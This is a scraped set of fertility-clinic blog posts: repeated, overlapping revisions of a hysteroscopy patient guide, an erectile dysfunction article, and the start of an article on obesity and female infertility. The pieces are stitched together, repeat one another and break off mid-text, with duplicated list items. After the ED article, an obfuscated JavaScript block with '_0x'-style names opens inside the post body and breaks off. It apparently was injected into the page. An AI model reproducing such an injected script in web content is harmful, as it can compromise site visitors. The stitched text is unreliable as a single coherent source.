ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How safe is hysteroscopy?</strong></h2>\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When should the procedure be performed?</strong></h2>\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What type of anesthesia is used for hysteroscopy?</strong></h2>\r\n<h2 style=\"text-align: left; font-size: 12px; width: 100%;\">Anesthesia for hysteroscopy may be local, regional, or general:</h2>\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the surgery</li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How is hysteroscopy performed?</strong></h2>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n<h2 style=\"text-align: left; font-size: 12px; width: 100%;\"><strong>The procedure itself takes place in the following order:</strong></h2>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What can I expect after the procedure?</strong></h2>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to contact your doctor:\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Will I have to stay in the hospital overnight?</strong></h2>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When do I call the doctor?</strong></h2>\r\n<h2 style=\"text-align: left; font-size: 12px; width: 100%;\">If you have any of the following problems mentioned below:</h2>\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

It is done using a narrow tube-like telescope with a camera called a hysteroscope, which is inserted into the vagina to examine the cervix and inside of the uterus. Hysteroscopy can be either diagnostic or operative.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What is diagnostic hysteroscopy?</strong></h2>\r\nDiagnostic hysteroscopy is used to diagnose problems of the uterine cavity. It can sometimes be clubbed with laparoscopy [In laparoscopy, your doctor will insert an endoscope (a slender tube fitted with a fiber-optic camera) into your abdomen, through the navel, to view the outside of your uterus, ovaries and fallopian tubes.]<img class=\"size-full wp-image-107 aligncenter\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog6.png\" alt=\"\" width=\"314\" height=\"272\" />\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What is operative hysteroscopy?</strong></h2>\r\nOperative hysteroscopy is used to correct an abnormal condition that has been detected during a diagnostic hysteroscopy. If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Why it is done?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">A hysteroscopy may be done to:</h3>\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes. If the tubes are blocked, your doctor may be able to open the tubes with special tools passed through the hysteroscope (tubal cannulation)</li>\r\n 	<li>Find the possible cause of repeated miscarriages. Other tests may also be done.</li>\r\n 	<li>Find and remove a misplaced intrauterine device (IUD)</li>\r\n 	<li>Find and remove small fibroids or polyps</li>\r\n 	<li>Look for endometrial cancer</li>\r\n 	<li>Use heated tools to remove problem areas in the lining of the uterus (endometrial ablation)</li>\r\n 	<li>Place a contraceptive implant (such as Essure) into the opening of the fallopian tubes as a method of permanent sterilization</li>\r\n 	<li>Determine the cause of unexplained bleeding or spotting in postmenopausal women</li>\r\n</ul>\r\n<img class=\"aligncenter size-full wp-image-109\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog7-300x107.png\" alt=\"\" width=\"300\" height=\"107\" />\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When is operative hysteroscopy used?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">Your doctor may perform hysteroscopy to correct the following uterine conditions:</h3>\r\n<ul>\r\n 	<li><strong>Polyps and fibroids:</strong> Hysteroscopy is used to remove these non-cancerous growths found in the uterus.</li>\r\n 	<li><strong>Adhesions: </strong>Also known as Asherman’s Syndrome, uterine adhesions are bands of scar tissue that can form in the uterus and may lead to changes in menstrual flow as well as infertility. Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How safe is hysteroscopy?</strong></h2>\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When should the procedure be performed?</strong></h2>\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What type of anesthesia is used for hysteroscopy?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">Anesthesia for hysteroscopy may be local, regional, or general:</h3>\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the surgery</li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How is hysteroscopy performed?</strong></h2>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n<h3 style=\"text-align: left; font-size: 12px; width: 100%;\"><strong>The procedure itself takes place in the following order:</strong></h3>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What can I expect after the procedure?</strong></h2>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to contact your doctor:\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Will I have to stay in the hospital overnight?</strong></h2>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When do I call the doctor?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">If you have any of the following problems mentioned below:</h3>\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Why it is done?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">A hysteroscopy may be done to:</h3>\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes.

Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How safe is hysteroscopy?</strong></h2>\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When should the procedure be performed?</strong></h2>\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What type of anesthesia is used for hysteroscopy?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">Anesthesia for hysteroscopy may be local, regional, or general:</h3>\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the surgery</li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How is hysteroscopy performed?</strong></h2>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n<h3 style=\"text-align: left; font-size: 12px; width: 100%;\"><strong>The procedure itself takes place in the following order:</strong></h3>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What can I expect after the procedure?</strong></h2>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to <a href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>contact your doctor:</strong></a>\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Will I have to stay in the hospital overnight?</strong></h2>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When do I call the doctor?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">If you have any of the following problems mentioned below:</h3>\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

It can sometimes be clubbed with laparoscopy [In laparoscopy, your doctor will insert an endoscope (a slender tube fitted with a fiber-optic camera) into your abdomen, through the navel, to view the outside of your uterus, ovaries and fallopian tubes.]<img class=\"aligncenter wp-image-107 size-full\" title=\"Normal Uterine Cavity\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog6.png\" alt=\"Normal Uterine Cavity\" width=\"314\" height=\"272\" />\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What is operative hysteroscopy?</strong></h2>\r\nOperative hysteroscopy is used to correct an abnormal condition that has been detected during a diagnostic hysteroscopy. If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Why it is done?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">A hysteroscopy may be done to:</h3>\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes. If the tubes are blocked, your doctor may be able to open the tubes with special tools passed through the hysteroscope (tubal cannulation)</li>\r\n 	<li>Find the possible cause of repeated miscarriages. Other tests may also be done.</li>\r\n 	<li>Find and remove a misplaced intrauterine device (IUD)</li>\r\n 	<li>Find and remove small fibroids or polyps</li>\r\n 	<li>Look for endometrial cancer</li>\r\n 	<li>Use heated tools to remove problem areas in the lining of the uterus (endometrial ablation)</li>\r\n 	<li>Place a contraceptive implant (such as Essure) into the opening of the fallopian tubes as a method of permanent sterilization</li>\r\n 	<li>Determine the cause of unexplained bleeding or spotting in postmenopausal women</li>\r\n</ul>\r\n<img class=\"aligncenter wp-image-109 size-full\" title=\"Intrauterine Septum Resection\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog7-300x107.png\" alt=\"Intrauterine Septum Resection\" width=\"300\" height=\"107\" />\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When is operative hysteroscopy used?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">Your doctor may perform hysteroscopy to correct the following uterine conditions:</h3>\r\n<ul>\r\n 	<li><strong>Polyps and fibroids:</strong> Hysteroscopy is used to remove these non-cancerous growths found in the uterus.</li>\r\n 	<li><strong>Adhesions: </strong>Also known as Asherman’s Syndrome, uterine adhesions are bands of scar tissue that can form in the uterus and may lead to changes in menstrual flow as well as <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/things-you-should-know-when-battling-with-infertility/\" target=\"_blank\" rel=\"noopener\"><strong>infertility</strong></a></span>. Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How safe is hysteroscopy?</strong></h2>\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When should the procedure be performed?</strong></h2>\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What type of anesthesia is used for hysteroscopy?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">Anesthesia for hysteroscopy may be local, regional, or general:</h3>\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/laparoscopic-and-hysteroscopic-surgeries\" target=\"_blank\" rel=\"noopener\"><strong>hysteroscopy surgery</strong></a></span></li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>How is hysteroscopy performed?</strong></h2>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n<h3 style=\"text-align: left; font-size: 12px; width: 100%;\"><strong>The procedure itself takes place in the following order:</strong></h3>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What can I expect after the procedure?</strong></h2>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>contact your doctor:</strong></a></span>\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Will I have to stay in the hospital overnight?</strong></h2>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When do I call the doctor?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\">If you have any of the following problems mentioned below:</h3>\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Erectile Dysfunction(ED) Causes and Treatment</strong></span></h2>\r\nIt can cause low self-esteem, performance anxiety, depression, and stress. Erectile Dysfunction (ED) may affect the quality of a marriage or intimate relationship. The good news is there are many <strong><a href=\"https://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\">safe and effective treatments</a></strong>.<!--more-->\r\n\r\n<img class=\"alignnone size-full wp-image-317\" title=\"Erectile Dysfunction\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW2.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"1140\" height=\"589\" />\r\n\r\nStudies show that about one-half of American men over age 40 have some degree of <strong>Erectile Dysfunction</strong>(ED). While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior years.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Warning Signs of Erectile Dysfunction</strong></span></h2>\r\n<strong>Erectile Dysfunction</strong>(ED) can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\n<strong>Diagnosing and treating</strong> the condition that causes ED can improve your overall well being, as well as help, restore your sexual health.\r\n\r\n<strong>Erectile Dysfunction(</strong>ED) is diagnosed by an <strong><a href=\"https://www.nufertility.com/dr-pramod-krishnappa-andrologist\" target=\"_blank\" rel=\"noopener\">andrologist/urologist</a></strong> or another medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Men with ED may have tests to check for:</strong></h3>\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\nThe <a href=\"https://www.nufertility.com/blog/penile-implant-in-the-era-of-viagra/\"><strong>oral medications sildenafil (Viagra)</strong></a> and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness, and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n<img class=\"alignnone size-full wp-image-319\" title=\"Lifestyle Factors\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3-1.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"1140\" height=\"589\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy, and <a href=\"https://www.nufertility.com/blog/penile-implant-in-the-era-of-viagra/\" target=\"_blank\" rel=\"noopener\"><strong>penile implants</strong></a>. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. Remember that some natural ingredients can be dangerous, even deadly.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return

It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir.

From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values.\r\n\r\n<strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity.</strong> BMI is calculated by using the height and weight of an individual. Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm 